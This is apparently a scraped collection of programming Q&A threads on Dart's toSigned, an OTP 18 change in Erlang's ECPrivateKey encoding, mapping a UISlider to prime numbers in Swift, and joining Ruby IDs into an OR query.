int b = 239;
print(a.toSigned(5).toString()); // Print -16
print(b.toSigned(5).toString()); // Print 15
the toSigned method parameter indicate the bit order of the sign bit.
You can get more information here: https://api.flutter.dev/flutter/dart-core/int/toSigned.html
A toUnsigned method exixts too: https://api.flutter.dev/flutter/dart-core/int/toUnsigned.html

Upgrade to OTP 18 breaks usage of public_key library

Building a pem file in Elixir requires several steps, including building an entity. In OTP 17, the following works:
{public, private} = :crypto.generate_key(:ecdh, :secp256k1)
ec_entity = {:ECPrivateKey,
1,
:binary.bin_to_list(private),
{:namedCurve, {1, 3, 132, 0, 10}},
{0, public}}
der_encoded = :public_key.der_encode(:ECPrivateKey, ec_entity)
pem = public_key.pem_encode([{:ECPrivateKey, der_encoded, :not_encrypted}])
But using OTP 18, the following error occurs:
{public, private} = :crypto.generate_key(:ecdh, :secp256k1)
ec_entity = {:ECPrivateKey,
1,
:binary.bin_to_list(private),
{:namedCurve, {1, 3, 132, 0, 10}},
{0, public}}
der_encoded = :public_key.der_encode(:ECPrivateKey, ec_entity)
** (MatchError) no match of right hand side value: {:error, {:asn1, :badarg}}
public_key.erl:253: :public_key.der_encode/2
What is the source of this error?
The source of the error is a change in the way that the public_key entity is constructed between OTP 17 and OTP 18. If we reverse the process, starting with a pem file, we can see the difference.
OTP 17:
iex(6)> pem = "-----BEGIN EC PRIVATE KEY-----\nMHQCAQEEIJniJF4vtTqE4wS5AkhmMZsHIbil0l3XfRButkw5IJYFoAcGBSuBBAAK\noUQDQgAEtxm+jijBB0JxZTceHnCHE0HpMXJp1ScVUZ5McvDUVsS/Dek8IdAsMOPz\nnnVALflZzXtH/wU9p2LrFdJeuXwL8g==\n-----END EC PRIVATE KEY-----\n\n"
"-----BEGIN EC PRIVATE KEY-----\nMHQCAQEEIJniJF4vtTqE4wS5AkhmMZsHIbil0l3XfRButkw5IJYFoAcGBSuBBAAK\noUQDQgAEtxm+jijBB0JxZTceHnCHE0HpMXJp1ScVUZ5McvDUVsS/Dek8IdAsMOPz\nnnVALflZzXtH/wU9p2LrFdJeuXwL8g==\n-----END EC PRIVATE KEY-----\n\n"
iex(7)> [{type, decoded, _}] = :public_key.pem_decode(pem)
[{:ECPrivateKey,
<<48, 116, 2, 1, 1, 4, 32, 153, 226, 36, 94, 47, 181, 58, 132, 227, 4, 185, 2, 72, 102, 49, 155, 7, 33, 184, 165, 210, 93, 215, 125, 16, 110, 182, 76, 57, 32, 150, 5, 160, 7, 6, 5, 43, 129, 4, 0, 10, ...>>,
:not_encrypted}]
iex(8)> :public_key.der_decode(type, decoded)
{:ECPrivateKey, 1,
[153, 226, 36, 94, 47, 181, 58, 132, 227, 4, 185, 2, 72, 102, 49, 155, 7, 33,
184, 165, 210, 93, 215, 125, 16, 110, 182, 76, 57, 32, 150, 5],
{:namedCurve, {1, 3, 132, 0, 10}},
{0,
<<4, 183, 25, 190, 142, 40, 193, 7, 66, 113, 101, 55, 30, 30, 112, 135, 19, 65, 233, 49, 114, 105, 213, 39, 21, 81, 158, 76, 114, 240, 212, 86, 196, 191, 13, 233, 60, 33, 208, 44, 48, 227, 243, 158, 117, ...>>}}
OTP 18:
iex(5)> [{type, decoded, _}] = :public_key.pem_decode(pem)
[{:ECPrivateKey,
<<48, 116, 2, 1, 1, 4, 32, 153, 226, 36, 94, 47, 181, 58, 132, 227, 4, 185, 2, 72, 102, 49, 155, 7, 33, 184, 165, 210, 93, 215, 125, 16, 110, 182, 76, 57, 32, 150, 5, 160, 7, 6, 5, 43, 129, 4, 0, 10, ...>>,
:not_encrypted}]
iex(6)> entity = :public_key.der_decode(type, decoded)
{:ECPrivateKey, 1,
<<153, 226, 36, 94, 47, 181, 58, 132, 227, 4, 185, 2, 72, 102, 49, 155, 7, 33, 184, 165, 210, 93, 215, 125, 16, 110, 182, 76, 57, 32, 150, 5>>,
{:namedCurve, {1, 3, 132, 0, 10}},
<<4, 183, 25, 190, 142, 40, 193, 7, 66, 113, 101, 55, 30, 30, 112, 135, 19, 65, 233, 49, 114, 105, 213, 39, 21, 81, 158, 76, 114, 240, 212, 86, 196, 191, 13, 233, 60, 33, 208, 44, 48, 227, 243, 158, 117, 64, ...>>}
The difference is in how the public and private keys are represented.
The signature of an ECPrivateKey Record is:
ECPrivateKey'{ version, privateKey, parameters, publicKey}
In Erlang 18, both values are represented at plain binaries, in 17, the private key is a list and the public key is part of a tuple, {0, binary}.
So in order to build the pem file correctly, the entity representation has to change.
{public, private} = :crypto.generate_key(:ecdh, :secp256k1)
entity = {:ECPrivateKey,
1,
private,
{:namedCurve, {1, 3, 132, 0, 10}},
public}
Using the new representation of the record will solve the problem.
I didn't really check why your version works on some versions, but I've got some code that works on all these erlang versions: 19.0, 18.2.1, 18.1, 18.0, 17.5, R16B03 (running on travis).
-include_lib("public_key/include/public_key.hrl").
genPEMKey() ->
CurveId = secp256k1,
{PubKey, PrivKey} = crypto:generate_key(ecdh, CurveId),
Key = #'ECPrivateKey'{version = 1,
privateKey = PrivKey,
parameters = {
namedCurve,
pubkey_cert_records:namedCurves(CurveId)},
publicKey = PubKey},
DERKey = public_key:der_encode('ECPrivateKey', Key),
public_key:pem_encode([{'ECPrivateKey', DERKey, not_encrypted}]).
This piece of code was based on the examples found in the OTP codebase:
https://github.com/erlang/otp/blob/master/lib/public_key/test/erl_make_certs.erl#L407

Use UISlider to get integer value in range

I'm trying to solve this issue in the most accurate way.
I have a UISlider, and a range between 0 to 300 (All primes).
How can I, using the UISlider, get an accurate access to each prime number in this range, while moving the slider? Any thoughts?
Store the first 0-300 prime numbers in an array
Bad way of doing it.
Set slider min to 0, and max to 300, and current to 0
When moving the slider check if the slider number exists in the array, if it does, update the label's text with the prime number
let primes = [2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53, 59, 61, 67, 71, 73, 79, 83, 89, 97, 101, 103, 107, 109, 113, 127, 131, 137, 139, 149, 151, 157, 163, 167, 173, 179, 181, 191, 193, 197, 199, 211, 223, 227, 229, 233, 239, 241, 251, 257, 263, 269, 271, 277, 281, 283, 293]
#IBOutlet weak var label: UILabel!
#IBAction func slider(sender: UISlider) {
let sliderNumber = Int(sender.value)
if primes.contains(sliderNumber) {
label.text = "\(sliderNumber)"
}
}
Good way to do it.
Set slider min to 0, and max to 61, and current to 0.
There are 62 prime numbers in the first 0-300.
When moving the slider, change the label text by indexing the primes array.
let primes = [2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53, 59, 61, 67, 71, 73, 79, 83, 89, 97, 101, 103, 107, 109, 113, 127, 131, 137, 139, 149, 151, 157, 163, 167, 173, 179, 181, 191, 193, 197, 199, 211, 223, 227, 229, 233, 239, 241, 251, 257, 263, 269, 271, 277, 281, 283, 293]
#IBOutlet weak var label: UILabel!
#IBAction func slider(sender: UISlider) {
let sliderNumber = Int(sender.value)
label.text = String(primes[sliderNumber])
}
Tested both the first and this second implementation, and the second one is much cleaner on the value transition.

How to make a list of a mapping of IDs

I have a long list of group_ids like so:
#group_ids = #groups.map(&:group_id)
Rails.logger.info #group_ids
[182, 122, 181, 173, 167, 58, 13, 11, 180, 40, 71, 1, 29, 47, 142, 52, 174, 7, 168, 171, 156, 120, 79, 72, 54, 26, 65]
How can I take all those group_ids and output:
group_id:11 OR group_id:22 etc
Just do:
#group_ids * " OR "
(Ruby is great)
#group_ids = [182, 122, 181, 173, 167, 58, 13, 11, 180, 40, 71, 1, 29, 47, 142, 52, 174, 7, 168, 171, 156, 120, 79, 72, 54, 26, 65]
#group_ids.map{|id| "group_id:#{id}"}.join(" OR ")
#=> "group_id:182 OR group_id:122 OR group_id:181 OR group_id:173 OR group_id:167 OR group_id:58 OR group_id:13 OR group_id:11 OR group_id:180 OR group_id:40 OR group_id:71 OR group_id:1 OR group_id:29 OR group_id:47 OR group_id:142 OR group_id:52 OR group_id:174 OR group_id:7 OR group_id:168 OR group_id:171 OR group_id:156 OR group_id:120 OR group_id:79 OR group_id:72 OR group_id:54 OR group_id:26 OR group_id:65"

Resources